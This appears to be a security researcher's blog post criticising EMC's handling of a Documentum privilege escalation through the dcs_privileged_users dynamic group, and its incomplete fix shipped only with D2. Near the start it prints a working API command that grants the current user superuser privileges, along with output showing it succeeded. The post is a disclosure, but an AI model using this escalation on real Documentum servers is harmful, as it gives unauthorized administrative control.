Two years ago I was complaining about dcs_privileged_users group created during installation of Collaboration Services dar, though in order to understand how this group works you need to read a set of post about dynamic groups, but the main idea is pretty simple: if authenticated user is able to execute API commands (either having network access to Content Server or through API Tester component in WDK applications) he is able to gain superuser privileges:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> apply,c,,EXEC,
      QUERY,S,update dm_user objects SET user_privileges=16 WHERE user_name=USER,
      __REQUESTED_PROTECTED_ROLES,S,dcs_privileged_users
...
q0
API> ?,c,q0
objects_updated
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your UPDATE statement."


API> ?,c,select user_privileges from dm_user WHERE user_name=USER
user_privileges
---------------
             16
(1 row affected)

Doesn’t it look strange? A severe vulnerability exists for a couple of years, but instead of remediating it vendor wastes time for less severe things like DmSampleServlet. For a long time I was unable to understand what is the reason of such EMC’s behaviour, but yesterday everything got clear for me. What happened yesterday? Yesterday I got an idea that I discovered a super mega severe vulnerability in D2 – getting superuser credentials without knowing any existing credentials (suck to be you if you expose D2 into internet, previously I was able to say the same only about D2-Config, the only problem is my friends/colleagues are using D2, moreover some of them have D2 exposed into internet and releasing a public exploit will probably hurt them, so I have tried to contact EMC representative and if I won’t receive any response I will make it publicly available on Tuesday), and in order to confirm my expectations I was need to install D2 (yeah, I hate this procedure due to introduced useless RSA Lockbox). And what did the installation do with my DEV ENV? It marked all vulnerable groups as protected:

API> ?,c,select is_protected,group_name from dm_group where group_name like 'dcs%' or group_name like 'dce%'
is_protected  group_name
------------  ----------
           1  dce_create_room_groups
           1  dce_datatable_creator
           1  dce_hidden_users
           1  dce_room_creator
           1  dce_user_manager
           1  dcs_privileged_users
(6 rows affected)

WTF? After some research I have found out that D2 ships with it’s own Collaboration Services dar which was released in March 2015 (D2 4.5 was released in April 2015):

zipinfo Collaboration_Services.dar |head
Archive:  Collaboration_Services.dar
Zip file size: 2582778 bytes, number of entries: 194
-rw----     2.0 fat     1991 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\newsysobject.sysobject.artifact
-rw----     2.0 fat     4478 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_0
-rw----     2.0 fat    11733 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_1
-rw----     2.0 fat     1172 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\move.xml.sysobject.artifact
-rw----     2.0 fat      530 bl defN 15-Mar-03 13:29 \bin\content/45/1763040245/move.xml
-rw----     2.0 fat     1558 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\javadoc.zip.sysobject.artifact
-rw----     2.0 fat   255125 bl defN 15-Mar-03 13:29 \bin\content/61/1858709661/sysobjectContent
-rw----     2.0 fat     1183 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\import.xml.sysobject.artifact

and this dar “does fix” a vulnerability (actually, I’m not sure about the correctness of fix because, for example, if you setup WDK app as “trusted client” you are still vulnerable):

zipstream Collaboration_Services.dar "\\\bin\\\content/55/-1014019755/runnableContent"
...
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_dynamic", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_module_only", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_protected", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "group_class", "module role" )

So, the only question is why this dar is not included in Content Server installation. I do not believe that it is caused by any compatibility issues (just imagine you have something dependent on dcs_privileged_users group and you install D2 – your functionality gets broken), it is just fault of release management:

• one guys qualified Collaboration Services as a source of vulnerability (from my perspective this is wrong because Collaboration Services is a part of default Content Server installation) and assigned issue to corresponding team
• Collaboration Services team fixed an issue (here should be a joke about one year required to fix a dmbasic script)
• nobody included new version of Collaboration Services dar into CS patch

If you think I’m wrong, below are another examples of such faults:

• ESA-2014-064 states that something was fixed in “6.7 SP2 P15 and later”, actually you may find a thorough explanation of what was “fixed” in What makes api/dmbasic suck blogpost, but EMC included a “patched” version of dmbasic binary only in 6.7 SP2 P17
• ESA-2015-131 (CVE-2015-4535) is also interesting form this perspective (note I do not say that it is remediated), you can find a thorough explanation in Why do EMC coders like static variables? blogpost, the problem is both Content Server and Process Engine were affected (both contain mthdservlet.jar) but EMC released a “patch” for Content Server only